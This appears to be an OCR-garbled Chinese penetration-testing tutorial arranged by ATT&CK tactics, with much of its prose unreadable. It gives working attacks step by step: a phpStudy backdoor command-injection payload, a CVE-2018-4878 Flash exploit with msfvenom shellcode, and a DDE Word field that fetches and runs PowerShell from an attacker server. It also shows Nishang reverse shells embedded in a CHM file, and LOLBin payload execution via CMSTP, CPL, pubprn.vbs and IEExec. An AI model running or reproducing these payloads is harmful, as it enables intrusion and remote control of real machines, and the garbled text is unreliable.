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LOLBIns

FEiR: ARFEMXEAERRERARERSETUERHTEHEER, B2RTH
bR, 157E 24 /NIIAMER, WEMZFMMEMR, SEEATX.

ZIRENAFEERERATRSHE FE2RFEMAE
REAREMEREEZESR ()

HERFEEZENTEZPEM—FIEAS IR " BALHESMEN, MEAHLAE, FNEEERARNEEARM
HittEEFEAR, REBSIZROAELS.

ERFEE T\ TAKPEM—FIEAEMER: " LML =ZREMN, WRENALTE, FHEERARTHEEARN
Hitt EEFEAR, RBE-KMMELT.
ERFEEZE/N\TARREN—%, EAEZBN\TARZ—: " MERSREETBITEE. TREANENER
WMEREEENE, ZREERIFTSRNBEREMERRE, ATHERZ—#, L=FUTHHREN. wRSE
B, tasEsLmE;

" (=) BUEEAEEAEREERN,

“ (3 BERFEEHE, EREERRN:

" (2) BENERMERRE, HHEER;

“(m) HEMEEFTH.

" BERTENRN, MBMHLHE, HUNEERARNEIEARMEMERIEIAR, REBAKOAELS.
"BEIARKITA, FEREEEMIEREY, RELTIRENAEEFLH.
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Copyleft

@050

AERRAIMAKZER - FFEEER - HREAVHE
= 4.0 EFRFrIMIGEHITIF AL,

EEE
— Initial Access (NO =)

. Execution (8&<#47)

Persistence (32X 1t)

. Privilege Escalation (fX[E#2Ft)

K E

. Defense Evasion (ZeiBA1H)
7%. Credential Access (FKERSEILE)
+. Discovery (EH{EEUE)
J\. lateral-movement (1&[0);3i%E)
. C&C (f<i=Hl)

~+ . Exfiltration ((£E2%Z5EY)
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—. Initial Access (

—. JKIIYE

DI T REMI_ EMEDIE, FHEREREHEANMIENRE, FIF
BREZMITENTRR (R, A , EERITIHEN, KR
Ao

ZHMEIEERABNRINES, BE:

1. BIDEIANEEEXEEENE, HI90: JavaScript, iframe. FBiubfiZx

~ix

=
2. HEANEER[ SiE

3. WEMN Web NARFZEOABTHEATMEMEBENNE, ZWRAH
TER Web RBRESEHEE,In LHATARMZA (Fl20, eizhs
F, WeHEhAEFFIEHIE Web AR)

4. BEMRAFPAMZEENGREESHER

1. EREBRAGFMEE XSS, B cookie 8
‘"5 BBLEINEEN javascript 180, FIAERENE FKBF cookie. WM ip.
HE. MIDRERIBZERE, BE XSS EFAEEHXRNEINGEE

el BBNAE Request Headers BE

2019-09-29 + location : http://127.0.0.1/D
14:30:17 VWA/vulnerabilities/xss_s/

« HTTP_REFERER : http://12
7.0.0.1/DVWA/vulnerabilitie

« toplocation : http://127.0.0.

1/DVWA/vulnerabilities/xss_
s/

« cookie : security=low; PHPS

ESSID=g3metuau58sh2i3ds
3pdrrgn8k

« opener:

s/xss_s/

« HTTP_USER_AGENT : Mozil

la/5.0 (Windows NT 10.0; Wi
n64; x64; rv:69.0) Gecko/20
100101 Firefox/69.0

+« REMOTE_ADDR: 125.37.9

9.27

e ip: + IP-ADDR :
2019-09-29 « location : http://127.0.0.1/D « HTTP_REFERER : http://12
14:30:16 VWA/vulnerabilities/xss_s/ 7.0.0.1/DVWA/vulnerabilitie

« toplocation : http://127.0.0.

1/DVWA/vulnerabilities/xss_
s/

« cookie :
« opener:
« ip:192.168.31.182

s/xss_s/

« HTTP_USER_AGENT : Mozil

la/5.0 (Windows NT 10.0; Wi
n64; x64; rv:69.0) Gecko/20
100101 Firefox/69.0

+ REMOTE_ADDR: 125.37.9

9.27

« IP-ADDR: m ==
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2. phpstudy backdoor

2019 £ 9 B 20 HMMARMEARKS &M 7 “MIMNEABIRITHENEE
LFRE 2N 2019” ETENIEAR"IINE, XEEIHA phpstudy FE“E
17”7, WEHE@ITTE phpstudy 2016 php5.4 #l phpstudy2018 php-5.2.17 ]
php-5.4.45 FENBIIHEBZEHMN, SHAEER phpstudy AP
FAI,

BTMREBETE T \ext\phpxminpe.dll #5247 phpStudy2016 ] phpStudy2018
E#% php-5.2.17. php-5.4.45 phpStudy2016 ££1¥ php \php-
5.2.17\ext\phpxmirpc.dll php\php-5.4.45\ext\phpxmirpc.dll
phpStudy2018 B1F PHPTutorial\php \php-5.2.17\ext|phpxmlrpc.dll
PHPTutorial\php\php-5.4.45\ext\php_xmlrpc.dll B notepad $TFF It X {4
B @eval, X{EFE@eval(%s(‘%s’))IERREEE, WE:

! TRO) #M) EF
o s 5= & DI g ®x 1 EDEE
H o pho_xalrpe. di1E1

®% @oOo

oc0o®
O® =

Normal text file

net user

length : 77,824 lines : 218 Ln:207 Col:2,098 Sel:4|1 Macintosh (CR) ~ ANSI

GET /index.php HTTP/1.1
Host: 192.168.31.182

User—Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/201001
01 Firefox/66.0



Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;9=0.8
Accept-Language:zh—CN,zh;q=0.8,zh—-TW;q=0.7,zh—-HK;q=0.5,en-US;q=0.3,en;q
=0.2

Accept-Encoding:gzip,deflate

Connection: close

Accept-charset:ZWNobyBzeXN0ZWO0olm5IdCB1c2Vylik7
Upgrade-Insecure—Requests: 1

Cache-Control: max—age=0

Request Response
 [(Raw | Heagers | ex | Raw | Headers | Hex | Render |
o r o 20

$57:28 GMT
in32) OpenSSL/1.0.2j PHP/S.4.45

\Ast 6D 0100 P

nnnnnnnnnnnnnnnnnnn
ey

990109059

Hello World

—aERE

GET /index.php HTTP/1.1

Host: 192.168.0.108

User—Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/201001
01 Firefox/66.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language:zh—CN,zh;q=0.8,zh—-TW;q=0.7,zh—-HK;q=0.5,en-US;q=0.3,en;q
=0.2

Accept-Encoding:gzip,deflate

Connection: close
Accept-charset:c3lzdGVtKCdIY2hvIF48P3BocCBAZXZhbCgkX1BPU1RbInNoZW
xsll0OpP14+PIBIUFR1dGO9yaWFsXFdXV1xzaGVsbCowaHANKTs=

Upgrade-Insecure—Requests: 1




< DA (10)
offi - +LE O eIE
L1

popooogoeopoco

3. JSONP kit

4. Adobe flash player 28 (CVE-2018-4878)
KB BT WIEYFIARN Flash 554, S AXISEs/Hi 4/ Office Thlalitk
Flash §&#E0Y, S “ZRABEMIT, HEEEHE getshell,

& Kali Linux + Windows 7 sp1 &4 Kali Linux (ip:
192.168.46.128)  #E4/l: Windows 7 sp1 (ip: 192.168.46.129) exp:
cve-2018-4878.py flash: flashplayeractivex28.0.0.137.exe

a) {#A msfvenom 4% shell X5

msfvenom —p windows/meterpreter/reverse_tcp lhost=192.168.46.128 Iport=88
88 —f python>shellcode.txt

b)i# N\ CVE-2018-4878-master B, 4miE CVE-2018-4878.py X4, ¥
msfvenom 4 BRI IEE S8R KA



89\ xe5\x3
14\ x8b\

x0d\x01\xc7\x38\xe@\x75\xf
X75\xed4\x58\x8b\x58\x24\x01\xd3\
8b\x04\x8b\ x01\ xd
x5a\x51\xff\xe0\x5f
33\x32\x00\x00\x68
07\ x89\xe8\xff
50\x68\x29\x80
2e\x80\x68\x02
50\ x40\ x50
Xx10\x56\x57\x68
ff\x4e\x08

a\x00\x56\ x5
X00\x7d\x28)\

x68\x0b\x2T\x0
f 5\x5e\x5e\

payload = buf
data =

stageless = False
flash name =

1 swf X4 & html XU E

c)Python #14T CVE-2018-4878-master.py {18, S4EMFAEDNLE, —
swf X1, — html X4

python cve-2018-4878.py



4096 A= |
4096 :02

122387 :41 cve-2018-4878.py
17891 :42 explolt.swrT
427 :42 index2.html

d)Kali Linux FF/5 Apache2 fRs5, FHIE EERY 2 PSRN /var/www/html
B&F (apache web K1R)

service apache2 start
cp index2.html /var/www/html/index2.html
cp exploit.swf /var/www/html/exploit.swf

e)Kali FF/& shell Y0

sfS > use exploit/multi/handler

sfS exploit( ) > set payload windows/meterpreter/reverse tcp
payload => windows/meterpreter/reverse tcp

sf5 exploit( ) > set LHOST 192.168.46.128

HOST => 192.168.46.128

sf5 exploit( ) > set LPORT 8888
PORT => 8888
sf5 exploit( ) > exploit

Started reverse TCP handler on 192.168.46.128:8888
f)win7 %% Adobe Flash Player28

Adobe Flash P FIEIER

j Adobe Flash Player

EEZREHBE Flash Player FaIDMIER .
% o ARSI A o

B

g){EA win7 BRI IE8 X 5E237/4(0) 192.168.46.128/index2.html



#] hiip//192.16BA6.128/index himi - 1534 | x |42 Bing v
B | BRI 8 B
@ CVE-2018-4878 Exploit v B~ 4 e v AEP) - 220+ TAO)x @

CVE-2018-4878(Flash Exploit)

Test By RedFree

E @ Internet | 2IRE5T: 25 iy v FL150% ~

h)Kali Linux _E R IHFREX meterpreter shell




meterpreter > ipconfig

Interface

Hardware MAC
MTU

IPv4 Address
IPv4 Netmask
IPv6 Address
IPv6 Netmask

Interface 11

Hardware MAC
MTU

IPv4 Address
IPv4 Netmask
IPv6 Address
IPv6 Netmask

Interface 12

Hardware MAC
MTU

Interface 13

Hardware MAC
MTU

IPv6 Address
IPv6 Netmask
IPv6 Address
IPv6 Netmask

meterpreter > getuid

Software Loopback Interface 1
00:00:00:00:00:00
4294967295

127.0.0.1

255.0.0.0

-2 |

FEEf:FEFf: fFFfFrff:FEFf: FFFf:frff:fiff

Intel(R) PRO/106©0 MT Network Connection
00:0Cc:29:4a:a5:cb

1500

192.168.46.129

255.255.25508

fe80::708e:651c:d242:ab41

ffff:frfef: RN iiT ot

Microsoft ISATAP Adapter
00:00:00:00:00:00
1280

Teredo Tunneling Pseudo-Interface
00:00:00:00:00:00

1280
2001:0:dad44:fa75:180c:2a4:3f57:d17e
stz e el
fe80::180c:2a4:3f57:d17e
Tt rT ISt s




Name Arch Session User

[System Process]
System

wlﬂlﬂlT exe
Csrss.exe

svchost.exe
svchost.exe
.exe
Vcho t.exe
iexplore.exe x86 WIN-9I4MCMBONBB\sgn C:\Program Fi
Flashutil32 28 @ @ 137 ActiveX.exe
msdtc.exe

g host.exe
;vch0= e
”UHUThSt!Ver exe

5. Beef IHIELE
FIAA IR
FIRMRE. BUEE. FEY. E=AEIFERBNESAFNRE, Xt
BRASGHEITRE, MWARIKERREAIHARNOEERE.
N RENRR:

1. CVE. CNVD, CNNVD, exploit-db ZiRiEEE
2. qqB¥. 5. X, BIEBEHRITFA
3. github

. INEREAEAR 55

VPN, Citrix Fixf2 RS FIEM IR F 2 IF P MMM E EZ IR ER
PANEFE, BEAIRFEIRSWNARE IR X LERSZSHEEF IS H K


https://attack.mitre.org/techniques/T1190/
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iE. Windows Infe ERERSZAIUEINENMER . BEFEIH 0Bk
PRERIZARSS, XA ABE FIESRSER Rk EWNEFEMEFLIRE
FUESRSEH, fERIFRAE], RILARXTInFZARSS9TA B B IR TR 1AE A —aR

VAN
7o

mFERRE . VPN. Citrix. SSH. Windows itf2 5% E. TeamViewer.

EasyConnect

. BEE|HA MR

MRap <L HIZFINE B LETNER, WaJUFI@ET Wik &, 3
HfEELS, BREAEEER, BEFEMER (RF) FE#ITHR. MR

WtEBARBHENREIZNE, NEETDIERRITIHRIE, 7
B A geRIERIP S RIPER AR EEN Internet E1ZEE, ARNERNE

W E—EAMEERE.

h. WY

TTENMME, TTENSNEES R MERNRESIARGUREHIT. 24
APT BERMNAASERD, BFZ2EMHARF BEERINHITY)
ainia), AR @I EERMNEEE T, FTHRPBAMNE, &
EAN, BE DMAERNAZAR, IEMFNTEEAMEMNESE,
BLAINAOREMF: U R, Rfn. BE. R, Zeeigd. \Ek. FTEI4.. USB
BiEZ . Pineapple &

1. B —AREE S AR S SR e

—IREIFHREHNERFNESE, FREEEEREMNG, FTAEITEAN
AL, mRRITERN, ZEHE:
https://mp.weixin.qq.com/s/bnbODIzMn7_vCgWyfm4Rsg DemonSeed ;&
B USB #UEZ: https://github.com/O-MG/DemonSeed

N, B AR T R
BRI E R AR A EE R BA R A FRATRAAE B 5
BITINEE, WLHEFRSBMERS L, FIRERIREERi T EES SR


https://attack.mitre.org/techniques/T1011/
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B ILNARS, ARRBHNERL T, XAgE@ET B EEIBREr L
HIRTHRAT X B RIS E AR EES RN EEX R IRA &
BRNARR LNTERSII, ENGEBENERT, XAIBOETFHRHN
GUR, ZRATRBINHERIENR RS RN E AR S ML,

RITEohIRIR: BadUSB. JeiRsE

. AXAH AR
BXAVBIHEREXXNPNEN—MIIHFREER, BXAVEMRGRETH
AN EXXNE, BAEREFEERERENHEG. MEFRXNE
X AL EE B FHHFNHIREEHIIFE DA, AT
217, EXMBERT, REBBEXXHHINE & XN L & B FHpH
B, FEBEKRERFPHITRREMITI

M4 F 2R, F30 Microsoft Office XY, BIHITX{4, PDF 51z
M, FIFMSE, REENER OB B RESERERFNRS
7. BXXRNENERFEHENXAEERELSLE — N SENER,
WEBRMT AT, FHETUBRBRINES5T RSRPUMEXEM. 1%
BT AR sE BB A XU CIEZMERIMER, FIA0 zip XEHERS, ik
B T BN RBRE ., WEEZERNXET BR2FMEE, EM AT
MATHBRFRGEXEX G, SEFNA— T NARFNXHERERES
— R BT FHISEF .

I\, XA E TR

HhHEN e N RATNE 26 RARTH0—MISHEM, ©5HEbK
X8 RARMEHERE T A ETEEREEL TSR FHt T aamnE
B, TAREEESHIINEEFIMERS, BRI H T
PER BB,

BRI E XA MEN S MRS FHRIBRGHIEEIA, AT
FUHATRE, EXMBERT, BEEFNEERE, BY, LS
HRH A TIEA, HEREPEMSENEHIG URL SN


https://attack.mitre.org/techniques/T1193/
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B, MMAABBPRIT, #i5EaML AT 8efE A iRE B KRR Web
s, WERFSWIRT THNARER. X, zip X, EEZFHIT
X, ZEFXIRTEFIENED. XEETAIUNSESES BFHH
g iR ERE, S5 EEERNBZIRARFRRAEGREIE
FBFERHROIRIN (BIREEEIR/MEE(EMR) .

L. BRSBTS
BERSHITHERANENE R & XANBN—MI5HEM, ESH
FANBXANZNEREZAETEERFE=1RSMAZERBELE
Al BB F BRI,

AERANE REXMBNELEUBFARNRHFHITE DA, A8
TUHEZTRE. AXMIERAT, WEEBISMLIREMERS, TAMN
SR E A IFEWARHINARS RIEHER . SR, XEARSSERIEE
BEAAKTBNREREE, SASHERENBXANZNE—1F, KRIE
HIBRSS RS B AR X R, IUEMANRAFEMIONE, REER
BIZERAIRBUAIKS, FRATREEELFNZEIER. XEEA
MR — S ENEAMREREFERIETIRS . RENRE., RFE,
W& A BT XERS RETR RS, —TE RN 28
HRRAS BIREI AR R, REBARTRZHEMEETFTENL
ERN T ANSHHEIRSS . AR EE SIS TR, R LB F B
PRI, FEEMERHEITAXYE, EARTEMNMENARA, RS
MAHARERIEAT/F, NBEEFMUREIEREBEE, F5BmEITHE
HibR, TRENGERIERETIME,

T, B EEZ

HNEZNZIEREERBERIBERRARE ZA T @™ maR AT
HLHIRIIRI

R 3RS 1) PT DATE (N SRRV B Exidt 1T, B4

— BYIFRIR


https://attack.mitre.org/techniques/T1194/
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— RUFRIE
—  RERRBERE (ARILE)

—  EFRERIRERE

— BRI/ S R

— BR/EBRORANEG (I BROSITBHN KR

—  BESRAERASERE

— IS HE NN/ RE S

- BEEE

BT AT AR TSR ARE AL, BT RFERTHK
EHERREEFEREH RABIRENN A BEROERRN, Bl
ARSEFRBOSEEE, AETRRETERS KA THBRE,
BRAFIBEEEE RN, £V SMARF BRI
TR AT AR AR P R BB R B T

T—. FATEXR
W E A AR IR B SR P RS IR B R B H AR, B
AENEZARRPINBIENES, SHIRNEORENIAL, X
EETRTER, AESINFERD.
ARERIETE_AEZAINMEEEBNBIIR, UERIHEATE
BRERL, KX RIO—LEAIF IF T RSRE . FERRMT
7. BRISHAGEGIN HVAC, BiE, MBRL), BSHIRHEENT
IR AR IR T EAE 4P ERNRIE, EF8E5 RUNEHS FETFE—

M L. Eitt, Z—HRTHERIBRERSERIKF A feR A&
H.


https://attack.mitre.org/techniques/T1199/

T, MAHGEKS

W& A MER T REIDERAG BT ERFHARSIKFERE, SEEY
HETREEHENRIEFERMBRERE, DEIRSEIEEIR,

WG E PR ERMIMKF AT A A =28 B0AMKF . AR AR, B

INKF RAFLERNEZIRIERZPHINKS, B2 Windows RE EHITHEEL
BEAKE, REEMEENRR. REFIRF LROBIAL /HREIK

Fo RHIKFZHARNABF . B3, REFETRSAERS LNE
BME BRI, . EKF 2 H Active Directory IRZSEIER, EHAFih()
MR Z BB T ZENARSRNRSEEN ., BIKFAINEEAF. EEA
MRS .

ZREENEREPTUARGINMERN RS L SHERNTAEES], EEq]
AR F3intz2 RETFIIMER AT FBARSS (20 VPNs, Outlook Web access Flix
REENSAIEN, SMENERAETER FREENIFERS A
MENZIREXIFNE 245, REETREREENMEREERMHRIA,
ERAXEIEBRENEIATFEONR, MERNENNEFEEZSEENE
i 3N

REBKFEARTEFILENEFINANEERR, EINEEEINEIZE
TTENNARFFIREMCIRENKS,, TIEXEEEEAEN. FBUR
BrEE COTS ), MERF BNZBAHGHEENRREAER it 1Y
PR ERE, EBRNENRESRAREENER. XM, KEHE
eI AR AT AFROFAEE, SfRIFATH, BT InERSEEMEEE
IR E

tkFIAE, EENERENENIRNESZERRTN, BAKEER
BEREEISIRF R R STH AT, DUARIRSHIIBRIRAIEN, MEdEr
W AiEERITEEIE]

+=. AR

BIA AR ENRE TG, FABRFERaERER, 2
WIFI, WiFi Z2irtnEREBrRINZEE AL WEP, WPA/WPA2,


https://attack.mitre.org/techniques/T1078/

WPA-PSK/WPA2-PSK E#Z7E 0, H#E50T, BEZMERF RS
SEM PSKZEEELZEER, INENHIENER, BHEMAXIEK
i, BESXEHER, WIFIREEEES., WEEEBINHETHRHRIK
i,

KA WIFI, 55, ZigBee. NFC, RFID &,

T, RAFEREE]

BT fuzz FRB BT 8E fuzz B R, SHARIRE, FIARMBEHITH
i,

AR
1. web Mk
2. BRS5E3
3. X fuzz

4. HEMH fuzz

—.. Execution
1. SEIE R

FiE: RN A: Kali (10.100.18.20) FFEWR G shell i #WREL:
Windows 2012 R2 (10.100.18.21) IXEHEFiA: 1.61#— Empire Listener k&
ek iz



> listeners

) > uselistener http

) > set Name S A B
) > set Host http://
> set Port 8080

BERAREER




2. 4RIT&RERMEITZE, BITUTHS, £ ETEEmZENaR LHRITH
PowerShell ft#3: launcher powershell sangfor 3.l powershell —-noP -sta

-w 1 —enc ZEREERBBIARH B EFN—TXXH

AREIEERETENKEZTEAZIN Web fRSZ2EFR, ATFZEENHEENIEKRT
#. 1Z Web BRS583FIAZ Apache 2 3£/, BfEXE, A Python
SimpleHTTPServer {&RIREKIRRZEI— Web BRSS, ESBIEEIREo@m<HE
FEARXHE, SARREAIMBIB—IXHER, AEEILR cd BIEF#ITXH
£ (FXER eviDFE6) Web BRSS,  (Python By Web BRSSEVIA IR A
8000)



AFE— Word X1, BE /i XESHREHEE Ctrl+FO [mM—18, AfE
(EeEN YR

.
LG
N J— & N -
Jies - - - —
= tt Bt BAAS ,
n. EBET . .
= an)
Oﬁiﬂl Nerd 0RER S, B Raf A ETee #a . P >3 —

1%3%E=(Formula), R EHE



FEEMNAST LE, AR[/ETIRET)



BEH S O sangfordocs - Word
-m CTONEE T CU T I
B am - M Lﬂ:t:;_o[? Tismettt o o 3 l.m (5 D=a- o) |-
3

0 oam < ams DEm- —— 4-
dam 4| B e NaEm. SHREGR - %uslu am- | .

~m EL ] L X - o~e mE  mme s
(@ FEAN word wemE, BumaN word TR WE 20108I8NE ZWRE, RIS

s @R He- & 4T ¥ A

8 I !"".'SE'E'“
B =
o e
O mwsen
L
A FHE.
£ RNE.
S
i powershell i3
B EH S - sangfor.d‘ach-Word
& M. 8 Tmes  3W B =W WE
.'[fj)E [Collri @1 -[58 <| &' A Aa- A FA E-IS-T- &8 R 8P| aesbood assboeod AABL
« BIU-ax.x A-¥-A-B@ §§%'§'I§I = &-E- JIEX | JFCHRE | fRE 1 1;

R FE o =54 a =52o
| @ FREN word s, BRER Word  TORHNG  WE 20196980 ZHE, | WEG |

| -
{ DDEAUTO c\windows\\system32\\cmd exe “/k Powershell -Nop -sta -Nonl -W Hidden
Se={New-Object |

System. Net. WebClient). DownloacString 'hitp:/i"a® s wemmm B%0/evil ) powershell -e $e” }-




{ DDEAUTO c:\windows\system32\cmd.exe "/k PowerShell -Nop —sta —Nonl
-W Hidden , =(n, w _



Object System Ne t



“We b Cl i ent



)'DownloadString

(

/

ot op



://10.10.10.10: 8000/



e | | —e ©"}ITEM

evil 'powevr s

AMRFZXAE, EREERZAEMREET. —BEXEFERGITTAEXE, =
B L EIR, AIMESHIRISRGREAF AT Yes, AILMESIXLEHIRE R



FEENFE—R, flNE—LMhEARMIBEBSI Symantec Document
Encryption’,

—BESEEFEMBEEREEHMRET Yes 25, ARIMNERHMNSREE—
Empire RUIEHIER, XNZEERAMBTIZZEH].
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Empire BIN3REX B 4R shell

) > list

La Internal IP Machine Name Username Process PID

C 4480
o ol Bl R W 3M J 4100

MITRS a4

A

) > inte @ ® 3
) > shell whoami

) >

= o mE mm EAOr

265 4T AH

WR: REHL: Kali (10.100.18.20) #IXEHEAN: Windows 2012 R2
(10.100.18.22) K EHEFiE: C:\Users\Administrator>PowerShell IEX (New-

Object

Net.WebClient).DownloadString( sercontent.com/samratashok/nishang/mast

er/Shells/Invoke—PowerShellTcp.ps1');invoverse —IPAddress 10.100.18.20 —

Port 3333

Cilsers \Ndninistrator) Shell 1EX <New-Object Met . WUebClient).DounloadString<

sercontent .conssanratashok/nichang/master-Shells/Invoke-PowerShellTcp.psl’ d:ilnvo

verae =IPhddress 10.108.18.28 -Port 3333




Nc —Ilvp 3333

LAGE 5, 360 Lb. 188, 18,22 L. 188 18. 29 o 66 49668 - 3339 [Sw, ECN, OWA] Seq=® win-f
A6 § . aada . 1. 18. 28 L8, 1id 18,22 TR 66 1300 » a%E8 (TN, Ax] Secd Acksl ﬂ--'
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3.7<#-Signed Script Proxy Execution(%4 AR AT

E: &AL Kali (10.100.18.20) #I#E4: Windows 2012 R2
(10.100.18.22) &4 Python2.7 (S&EE py XHFTEIAK exe 18X AT ARR)

KEFE: FEIEFE web IRSBZ[I[IBEERBE A 1.sct XA : pubprn.vbs A

<?XML version="1.0"?7>
<scriptlet>
<registration
description="Bandit"
progid="Bandit"
version="1.00"
classid="{AAAA1111-0000-0000-0000-0000FEEDACDC}"
remotable="true"
>
</registration>
<script language="JScript">
<I[CDATA[L
var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
11>

</script>

</scriptlet>

EBREN LT

cscript /b C:\Windows\System32\Printing_Admin_Scripts\zh—-CN\pubprn.vbs 127.0.
0.1 script:http://10.100.18.20:8000/1.sct



Cawindows\System 32\Printing_Admin_S... L= |9

= WA ST - oscript
icrosoft Win 6.3.9684 )
811 Nicros rporat lon
Administratordcscript #b C: Wir rinting Admin_Scripts
LA.8.1 zeriptihttp: 718.100.18 . 20: 8808871 . zct

wHE0V WlE ¥R

CH ~pubprn

launcher £

Required _

-

FORP7 vadiitner. s

False Switc
powershell

Obfuscate

ObfuscateCommand command to use.

Language

request
User-age staging
(default, n other) .

default to use for regue ault, none,

> execute




¥ launcher.vbs £ 2] B AR EMNHAIT

GiNlzerz Adninistrator2cd Desktop

CiNlzers AdninistratorsDezktopiwecript launcher.vhbs

C:NsersAdninistrator\Desktop?

Empire FRINZREN B ARftEE

4.chm

IFE: EAL: Kali (10.100.18.20) #IENL: Windows 2012 R2
(10.100.18.22) &4 Python2.7 (SEE py XHFTEIAL exe I8N AT ARR) K
HFA:

BIFEEE chm XXHIIT:



sSIP
STA

index.htm

SIP.html

<html>

<h1>blue team</h1>
<body>

Security

</body>

</html>

STA.html

<html>

<h1>blue team</h1>
<body>

Network

</body>

</html>

Index.html

<!DOCTYPE html><htmlI><head><title>Mousejack replay</title><head></head><bo
dy>

command exec

<OBJECT id=x classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1 he
ight=1>

<PARAM name="Command" value="ShortCut">



<PARAM name="Button" value="Bitmap::shortcut">

<PARAM name="Item1" value=",powershell.exe,—nop —w hidden —c IEX (New—Object
Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/n
ishang/master/Shells/Invoke-PowerShellTcp.ps1');invoke—-PowerShellTcp —Reverse
—IPAddress 10.100.18.20 —Port 3333">

<PARAM name="Item2" value="273,1,1">

</OBJECT>
<SCRIPT>
x.Click();
</SCRIPT>
</body></html|>
FEERAP RERT
- Lany CH w393 - jchmuecp] [= o N
TRE v AS A WG
"l L] M Om SR
ne T on ue
» CEE %) " - -
‘ v‘ amd b - - - -
- -

N &= 414
3

FYINZREX 2 5% shell



: # nc -1lvp
listening on [any] 33
10.100.18.22: inverse host lookup failed: Unknown host
connect to [10.100.18.20] from (UNKNOWN) [10.100.18.22] 50235
Windows PowerShell running as user Administrator on WIN-2DSNSD1V33D
Copyright (C) 2015 Microsoft Corporation. All rights reserved.

PS5 C:\Users\Administrator\Desktop>whoami /user /fo list

2220 WiD-28 0 Ea™ N 4 S P Eam
SI:': III‘_.I I']-I '-_I-Iall I.l.lll_!-
PS5 C:\Users\Administrator\Desktop> D

5.CMSTP

WR: XEHL: Kali (10.100.18.20) #IXEHA: Windows 2012 R2
(10.100.18.22) %3 Python2.7 (W&EIF py XHFTEAL exe IBINAIUER) I

HFE: 1.8 Metasploit Framework B msfvenom & pf %= DLL 44
(pentestlab.dll) , msfvenom —p windows/x64/meterpreter/reverse_tcp

LHOST=10.100.18.20 LPORT=3333 —f dll > /root/Desktop/pentestlab.dll

INF 32489 RegisterOCXSection FZE &% S DLL XA AR SITIZNIT
89 WebDAV i &,



HitF WRE)

Ilversien]
hture=3chicagol
P bheedINF=2.5

| TDETaultInetall Singlellser]

M0 =BV ¥R

(ReglisterQCes=Reglster0CKSectl

P _a il & 1

‘[.‘.-:p'.l:.lclt'..‘..;:.!.lv:.J

C:\Use ;':.."'..'_‘u:.l;lx,sl_x \Desktop\pentestlab, d

A" o
[Strings]
‘!'.;;.‘-.:1. "SOFTYARE \Nicrosoft\Connec
|ServiceName® Pentestlab

|ShortSveName® "Pentestlab’

cmstp.inf

[version]

Signature=$chicago$

AdvancedINF=2.5

[Defaultinstall_SingleUser]
RegisterOCXs=RegisterOCXSection
[RegisterOCXSection]
C:\Users\Administrator\Desktop\pentestlab.dll
[Strings]

AppAct = "SOFTWARE\Microsoft\Connection Manager"
ServiceName="Pentestlab"

ShortSvcName="Pentestlab"

2. INF X{4H#] RegisterOCXSection EEOSEE
1THI WebDAV fiI&., 3. Metasploit multi/handler {&REEH/ & i

cmstp -

37
=

ices

DLL XARZAIhER 12 BITFEH
BEE.

u]



Module options (exploit/multi/handler):

Name Current Setting Required Description

Name
EXITFUNC process g Exit technique (Accepted: '', seh, thread, process, none)
LHOS 10.100.18.20 ] The listen address (an interface may be specified)

aaa9

3333 ¥ The listen port

4. HTEE INF XS cmstp —RZIRGES, I3 BRERANT. omstp.exe /s

cmstp.inf

e BIES: C:\Windows\system32\cmd.exe

C:sers\Adninistrator Desktopiemstp s cmstp.inf

C:Nlsers\AdninistratorDesktop?

5. 3X18 Meterpreter R1i&,



Sending stage

Meterpreter se ene At 2019-03-25 17:06:32 +0800

meterpreter > ipconfig

Name

Hardware MAC
MIU

IPv4 Address
IPv4 Netmask
IPv6 Address : :

IPv6 Netmask : FEFf:ffff :ffee fEee FFFf - FFff EFFF FFFF

6.711-CPL

WR: REHL: Kali (10.100.18.20) #IXEHEAN: Windows 2012 R2

(10.100.18.22) %3 Python2.7 (N&EIF py XHFTEAL exe IBIAIUER) K
TFE F—FRAUNE—NJIFBEEHG RN .cpl, UMBEEFTUSEHIER—IE
H1T, Metasploit BJ Msfvenom AILABIZ— T BE XY dIl, EFAUEEZ—1ER
A meterpreter B3 #ifaral & Didier Stevens B9 cmd DLL X4, AIDAREST
2 ecmd IEfTRIRRSI., 1. msfvenom &R} payload msfvenom —p
windows/meterpreter/reverse_tcp —b '"\xO0\xff' Inost=10.100.18.20
lport=3333 —f dll —o pentestlab.cpl



2. msfi%& use exploit/multi/handler set payload
windows/meterpreter/reverse_tcp set LHOST 10.100.18.20 set LPORT 3333

exploit —j

3. UTFa<BelZ—MEMRE, XMEMRENEREFMHEEEN LAY CPL
XHFNEER. BRIAMERAT, MWERPNECHERERTEABE AR, reg
add

"HKEY LOCALMACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Co
ntrol Panel\Cpls" /v pentestlab.cpl /t REG_SZ /d "C:\cpl\pentestlab.cpl"



Ci:llsers\Adninistratordreyg add "MKEY_LOCAL_MACHINESSOFTWARE“Microsoft Windows (L
rrentlUerz lon“Control Panel“Cpls'" v pentestlab.cpl At REC_EL Ad “Cisepl pentes

ab.cpl”

i Nlaerz \dninistrator?

% F -_i W)

=5 = iR
(BEA REC
pentestab.cp REG_SZ Chgphpentestiab.co
-
eries G
+ Bl ok VO B N 1] INIE S OF TWA SR E VNGO o s 05T, WA nud ome rernfVersion\Control PanehCols

4 3T %I ERIIT payload (& control pentestlab.cpl, 3XEX Meterpreter &

:cpl>control pentestlab.cpl

\eplo,

X IHFREN session



7.2 #-Forfiles

®iE:  Kali: 10.100.19.19 Win7 : 20.100.0.25 IXEHFiE: 1. forfiles /p

c:\windows\system32 /m notepad.exe /c calc.exe

- U
/m notepad.exe /c calc.exe

EHE(V) WER(E) HRIH)

8.74<#-IEExec

IFIE:  Kali: 10.100.19.19 Win7 : 20.100.0.25 K#Fi%:
C:\Windows\Microsoft.NET\Framework64\v2.0.50727\IEExec.exe
http://10.100.19.19/test64.exe



2 \Windows\Tasks >
Q Bicrosoft IE Execute shell

e [ Nicrosoft IE Execute shell 2421t TfE
Windows BJLIEHASE ZIERIGF R «

> BUEERRLRHXAEER
> XHER

v | EEEHEES

Wi, SRR
9.InfDefaultinstall

InfDefaultinstall.exe shady.inf

[Version]
Signature=$CHICAGO$

[Defaultinstall]
UnregisterDlls = Squiblydoo

[Squiblydoo]
